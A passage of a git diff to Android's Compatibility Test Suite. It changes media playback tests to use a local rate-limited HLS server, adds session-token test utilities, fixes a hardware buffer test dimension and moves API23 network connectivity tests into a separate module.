private File mOutFile;
@@ -674,6 +675,7 @@
mRoutingChanged = false;
mRoutingChangedLooper = null;
+ mRoutingChangedDetected = false;
// Create MediaPlayer in another thread to make sure there is a looper active for events.
Thread t = new Thread() {
@Override
@@ -700,7 +702,16 @@
for (AudioDeviceInfo device : devices) {
if (routedDevice.getId() != device.getId()) {
mediaPlayer.setPreferredDevice(device);
- break;
+ try {
+ Thread.sleep(WAIT_ROUTING_CHANGE_TIME_MS);
+ } catch (Exception e) {
+ }
+ AudioDeviceInfo currentRoutedDevice = mediaPlayer.getRoutedDevice();
+ if (currentRoutedDevice != null
+ && currentRoutedDevice.getId() != routedDevice.getId()) {
+ mRoutingChangedDetected = true;
+ break;
+ }
}
}
}
@@ -721,7 +732,8 @@
mRoutingChangedLooper = null;
}
t.join();
- assertTrue("Routing changed callback has not been called", mRoutingChanged);
+ assertTrue("Routing changed callback has not been called",
+ (mRoutingChanged || !mRoutingChangedDetected));
}
public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testConstructor_sessionService() {
+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaSessionService2.class.getCanonicalName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConstructor_libraryService() {
+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaLibraryService2.class.getCanonicalName());
+ assertEquals(MockMediaLibraryService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 9f73c25..0bbddf4 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -34,16 +34,24 @@
import com.android.compatibility.common.util.MediaUtils;
import java.io.IOException;
+import java.io.InterruptedIOException;
import java.net.HttpCookie;
+import java.net.Socket;
import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.http.impl.DefaultHttpServerConnection;
+import org.apache.http.impl.io.SocketOutputBuffer;
+import org.apache.http.io.SessionOutputBuffer;
+import org.apache.http.params.HttpParams;
import java.util.HashMap;
import java.util.List;
+import java.util.Map;
/**
* Tests of MediaPlayer streaming capabilities.
*/
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
+
private static final String TAG = "StreamingMediaPlayerTest";
private static final String HTTP_H263_AMR_VIDEO_1_KEY =
@@ -59,6 +67,9 @@
private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
"streaming_media_player_test_http_mpeg4_sp_aac_video2";
private static final String MODULE_NAME = "CtsMediaTestCases";
+
+ private static final int LOCAL_HLS_BITS_PER_MS = 100 * 1000;
+
private DynamicConfigDeviceSide dynamicConfig;
private CtsTestServer mServer;
@@ -169,19 +180,15 @@
playVideoTest(urlString, 640, 360);
}
- // Streaming HLS video from YouTube
+ // Streaming HLS video downloaded from YouTube
public void testHLS() throws Exception {
if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
return; // skip
}
// Play stream for 60 seconds
- playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
- + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
- + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
- + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
- + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
- + "0/key/ik0/file/m3u8", 60 * 1000);
+ // limit rate to workaround multiplication overflow in framework
+ localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
}
public void testHlsWithHeadersCookies() throws Exception {
@@ -189,14 +196,6 @@
return; // skip
}
- final Uri uri = Uri.parse(
- "http://www.youtube.com/api/manifest/hls_variant/id/"
- + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
- + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
- + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
- + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
- + "0/key/ik0/file/m3u8");
-
// TODO: dummy values for headers/cookies till we find a server that actually needs them
HashMap<String, String> headers = new HashMap<>();
headers.put("header0", "value0");
@@ -216,7 +215,8 @@
cookies.add(cookie);
// Play stream for 60 seconds
- playLiveVideoTest(uri, headers, cookies, 60 * 1000);
+ // limit rate to workaround multiplication overflow in framework
+ localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
}
public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
@@ -224,16 +224,14 @@
return; // skip
}
- String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
- "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
-
- // if url override provided
- String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
-
// Play stream for 60 seconds
- playLiveAudioOnlyTest(
- testUrl,
- 60 * 1000);
+ if (mInputUrl != null) {
+ // if url override provided
+ playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
+ } else {
+ localHlsTest("audio_only/index.m3u8", 60 * 1000, -1);
+ }
+
}
public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
@@ -242,10 +240,7 @@
}
// Play stream for 60 seconds
- playLiveVideoTest(
- "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
- "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
- 60 * 1000);
+ localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1);
}
@@ -658,8 +653,28 @@
}
private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
- throws Throwable {
- mServer = new CtsTestServer(mContext);
+ throws Exception {
+ localHlsTest(name, null, null, appendQueryString, redirect, 10, -1);
+ }
+
+ private void localHlsTest(final String name, int playTime, int bitsPerMs)
+ throws Exception {
+ localHlsTest(name, null, null, false, false, playTime, bitsPerMs);
+ }
+
+ private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
+ boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs)
+ throws Exception {
+ if (bitsPerMs >= 0) {
+ mServer = new CtsTestServer(mContext) {
+ @Override
+ protected DefaultHttpServerConnection createHttpServerConnection() {
+ return new RateLimitHttpServerConnection(bitsPerMs);
+ }
+ };
+ } else {
+ mServer = new CtsTestServer(mContext);
+ }
try {
String stream_url = null;
if (redirect) {
@@ -671,9 +686,63 @@
stream_url += "?foo=bar/baz";
}
- playLiveVideoTest(stream_url, 10);
+ playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
} finally {
mServer.shutdown();
}
}
+
+ private static final class RateLimitHttpServerConnection extends DefaultHttpServerConnection {
+
+ private final int mBytesPerMs;
+ private int mBytesWritten;
+
+ public RateLimitHttpServerConnection(int bitsPerMs) {
+ mBytesPerMs = bitsPerMs / 8;
+ }
+
+ @Override
+ protected SessionOutputBuffer createHttpDataTransmitter(
+ Socket socket, int buffersize, HttpParams params) throws IOException {
+ return createSessionOutputBuffer(socket, buffersize, params);
+ }
+
+ SessionOutputBuffer createSessionOutputBuffer(
+ Socket socket, int buffersize, HttpParams params) throws IOException {
+ return new SocketOutputBuffer(socket, buffersize, params) {
+ @Override
+ public void write(int b) throws IOException {
+ write(new byte[] {(byte)b});
+ }
+
+ @Override
+ public void write(byte[] b) throws IOException {
+ write(b, 0, b.length);
+ }
+
+ @Override
+ public synchronized void write(byte[] b, int off, int len) throws IOException {
+ mBytesWritten += len;
+ if (mBytesWritten >= mBytesPerMs * 10) {
+ int r = mBytesWritten % mBytesPerMs;
+ int nano = 999999 * r / mBytesPerMs;
+ delay(mBytesWritten / mBytesPerMs, nano);
+ mBytesWritten = 0;
+ }
+ super.write(b, off, len);
+ }
+
+ private void delay(long millis, int nanos) throws IOException {
+ try {
+ Thread.sleep(millis, nanos);
+ flush();
+ } catch (InterruptedException e) {
+ throw new InterruptedIOException();
+ }
+ }
+
+ };
+ }
+ }
+
}
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+ @GuardedBy("TestServiceRegistry.class")
+ private static TestServiceRegistry sInstance;
+ @GuardedBy("TestServiceRegistry.class")
+ private MediaSessionService2 mService;
+ @GuardedBy("TestServiceRegistry.class")
+ private SyncHandler mHandler;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionCallback mSessionCallback;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionServiceCallback mSessionServiceCallback;
+
+ /**
+ * Callback for session service's lifecyle (onCreate() / onDestroy())
+ */
+ public interface SessionServiceCallback {
+ default void onCreated() {}
+ default void onDestroyed() {}
+ }
+
+ public static TestServiceRegistry getInstance() {
+ synchronized (TestServiceRegistry.class) {
+ if (sInstance == null) {
+ sInstance = new TestServiceRegistry();
+ }
+ return sInstance;
+ }
+ }
+
+ public void setHandler(Handler handler) {
+ synchronized (TestServiceRegistry.class) {
+ mHandler = new SyncHandler(handler.getLooper());
+ }
+ }
+
+ public Handler getHandler() {
+ synchronized (TestServiceRegistry.class) {
+ return mHandler;
+ }
+ }
+
+ public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionServiceCallback = sessionServiceCallback;
+ }
+ }
+
+ public void setSessionCallback(SessionCallback sessionCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionCallback = sessionCallback;
+ }
+ }
+
+ public SessionCallback getSessionCallback() {
+ synchronized (TestServiceRegistry.class) {
+ return mSessionCallback;
+ }
+ }
+
+ public void setServiceInstance(MediaSessionService2 service) {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ fail("Previous service instance is still running. Clean up manually to ensure"
+ + " previoulsy running service doesn't break current test");
+ }
+ mService = service;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onCreated();
+ }
+ }
+ }
+
+ public MediaSessionService2 getServiceInstance() {
+ synchronized (TestServiceRegistry.class) {
+ return mService;
+ }
+ }
+
+ public void cleanUp() {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+ mService.getSession().close();
+ // stopSelf() would not kill service while the binder connection established by
+ // bindService() exists, and close() above will do the job instead.
+ // So stopSelf() isn't really needed, but just for sure.
+ mService.stopSelf();
+ mService = null;
+ }
+ if (mHandler != null) {
+ mHandler.removeCallbacksAndMessages(null);
+ }
+ mSessionCallback = null;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onDestroyed();
+ mSessionServiceCallback = null;
+ }
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
import android.content.Context;
import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
import android.media.session.MediaSessionManager;
import android.os.Bundle;
import android.os.Handler;
@@ -41,6 +44,28 @@
private static final int WAIT_SERVICE_TIME_MS = 5000;
/**
+ * Finds the session with id in this test package.
+ *
+ * @param context
+ * @param id
+ * @return
+ */
+ public static SessionToken2 getServiceToken(Context context, String id) {
+ MediaSessionManager manager =
+ (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+ List<SessionToken2> tokens = manager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (context.getPackageName().equals(token.getPackageName())
+ && id.equals(token.getId())) {
+ return token;
+ }
+ }
+ fail("Failed to find service");
+ return null;
+ }
+
+ /**
* Compares contents of two bundles.
*
* @param a a bundle
@@ -67,6 +92,75 @@
return true;
}
+ /**
+ * Create a playlist for testing purpose
+ * <p>
+ * Caller's method name will be used for prefix of each media item's media id.
+ *
+ * @param size lits size
+ * @return the newly created playlist
+ */
+ public static List<MediaItem2> createPlaylist(int size) {
+ final List<MediaItem2> list = new ArrayList<>();
+ String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+ for (int i = 0; i < size; i++) {
+ list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMediaId(caller + "_item_" + (size + 1))
+ .setDataSourceDesc(
+ new DataSourceDesc.Builder()
+ .setDataSource(new FileDescriptor())
+ .build())
+ .build());
+ }
+ return list;
+ }
+
+ /**
+ * Create a media item with the metadata for testing purpose.
+ *
+ * @return the newly created media item
+ * @see #createMetadata()
+ */
+ public static MediaItem2 createMediaItemWithMetadata() {
+ return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMetadata(createMetadata()).build();
+ }
+
+ /**
+ * Create a media metadata for testing purpose.
+ * <p>
+ * Caller's method name will be used for the media id.
+ *
+ * @return the newly created media item
+ */
+ public static MediaMetadata2 createMetadata() {
+ String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+ return new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+ }
+
+ /**
+ * Handler that always waits until the Runnable finishes.
+ */
+ public static class SyncHandler extends Handler {
+ public SyncHandler(Looper looper) {
+ super(looper);
+ }
+
+ public void postAndSync(Runnable runnable) throws InterruptedException {
+ if (getLooper() == Looper.myLooper()) {
+ runnable.run();
+ } else {
+ final CountDownLatch latch = new CountDownLatch(1);
+ post(()->{
+ runnable.run();
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+ }
+
public static class Monitor {
private int mNumSignal;
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 324ab9e..116771a 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -324,7 +324,7 @@
AHardwareBuffer* buffer = NULL;
AHardwareBuffer_Desc desc = {};
desc.width = 120;
- desc.width = 240;
+ desc.height = 240;
desc.layers = 1;
desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 779d5c4..b6ea4af 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -42,6 +42,7 @@
"FrameworksNetCommonTests",
"core-tests-support",
"compatibility-device-util-axt",
+ "cts-net-utils",
"ctstestrunner-axt",
"ctstestserver",
"mockwebserver",
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index b261b39..734d9de 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.net.cts">
+ package="android.net.cts"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -34,12 +35,6 @@
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
-
- <receiver android:name=".ConnectivityReceiver">
- <intent-filter>
- <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
- </intent-filter>
- </receiver>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/net/AndroidTest.xml b/tests/tests/net/AndroidTest.xml
index 76ff167..6a19456 100644
--- a/tests/tests/net/AndroidTest.xml
+++ b/tests/tests/net/AndroidTest.xml
@@ -16,11 +16,12 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="networking" />
<option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetTestCases.apk" />
- <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.net.cts" />
diff --git a/tests/tests/net/api23Test/Android.bp b/tests/tests/net/api23Test/Android.bp
new file mode 100644
index 0000000..ffe854e2
--- /dev/null
+++ b/tests/tests/net/api23Test/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsNetApi23TestCases",
+ defaults: ["cts_defaults"],
+
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+
+ libs: [
+ "android.test.base.stubs",
+ ],
+
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt",
+ ],
+
+ static_libs: [
+ "core-tests-support",
+ "compatibility-device-util-axt",
+ "cts-net-utils",
+ "ctstestrunner-axt",
+ "ctstestserver",
+ "mockwebserver",
+ "junit",
+ "junit-params",
+ "truth-prebuilt",
+ ],
+
+ platform_apis: true,
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+}
diff --git a/tests/tests/net/api23Test/AndroidManifest.xml b/tests/tests/net/api23Test/AndroidManifest.xml
new file mode 100644
index 0000000..8af87f6
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.net.cts.api23test">
+
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+ <uses-permission android:name="android.permission.INTERNET" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner" />
+
+ <receiver android:name=".ConnectivityReceiver">
+ <intent-filter>
+ <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.net.cts.api23test"
+ android:label="CTS tests of android.net">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
+
diff --git a/tests/tests/net/api23Test/AndroidTest.xml b/tests/tests/net/api23Test/AndroidTest.xml
new file mode 100644
index 0000000..21f28fc
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidTest.xml
@@ -0,0 +1,30 @@
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Net API23 test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsNetApi23TestCases.apk" />
+ <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.net.cts.api23test" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+</configuration>
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
new file mode 100644
index 0000000..cdb66e3
--- /dev/null
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.api23test;
+
+import static android.content.pm.PackageManager.FEATURE_WIFI;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.cts.util.CtsNetUtils;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class ConnectivityManagerApi23Test extends AndroidTestCase {
+ private static final String TAG = ConnectivityManagerApi23Test.class.getSimpleName();
+ private static final int SEND_BROADCAST_TIMEOUT = 30000;
+ // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
+ public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
+ "android.net.cts.appForApi23.getWifiConnectivityActionCount";
+ // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+
+ private Context mContext;
+ private PackageManager mPackageManager;
+ private CtsNetUtils mCtsNetUtils;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ Looper.prepare();
+ mContext = getContext();
+ mPackageManager = mContext.getPackageManager();
+ mCtsNetUtils = new CtsNetUtils(mContext);
+ }
+
+ /**
+ * Tests reporting of connectivity changed.
+ */
+ public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
+ return;
+ }
+ ConnectivityReceiver.prepare();
+
+ mCtsNetUtils.toggleWifi();
+
+ // The connectivity broadcast has been sent; push through a terminal broadcast
+ // to wait for in the receive to confirm it didn't see the connectivity change.
+ Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+ finalIntent.setClass(mContext, ConnectivityReceiver.class);
+ mContext.sendBroadcast(finalIntent);
+ assertFalse(ConnectivityReceiver.waitForBroadcast());
+ }
+
+ public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
+ throws InterruptedException {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot"
+ + "execute unless device supports WiFi");
+ return;
+ }
+ mContext.startActivity(new Intent()
+ .setComponent(new ComponentName("android.net.cts.appForApi23",
+ "android.net.cts.appForApi23.ConnectivityListeningActivity"))
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ Thread.sleep(200);
+
+ mCtsNetUtils.toggleWifi();
+
+ Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
+ assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
+ getConnectivityCount, SEND_BROADCAST_TIMEOUT));
+ }
+
+ public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
+ return;
+ }
+ ConnectivityReceiver.prepare();
+ ConnectivityReceiver receiver = new ConnectivityReceiver();
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+ mContext.registerReceiver(receiver, filter);
+
+ mCtsNetUtils.toggleWifi();
+ Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+ finalIntent.setClass(mContext, ConnectivityReceiver.class);
+ mContext.sendBroadcast(finalIntent);
+
+ assertTrue(ConnectivityReceiver.waitForBroadcast());
+ }
+
+ private int sendOrderedBroadcastAndReturnResultCode(
+ Intent intent, int timeoutMs) throws InterruptedException {
+ final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
+ mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ result.offer(getResultCode());
+ }
+ }, null, 0, null, null);
+
+ Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ assertNotNull("Timed out (more than " + timeoutMs +
+ " milliseconds) waiting for result code for broadcast", resultCode);
+ return resultCode;
+ }
+
+}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
similarity index 98%
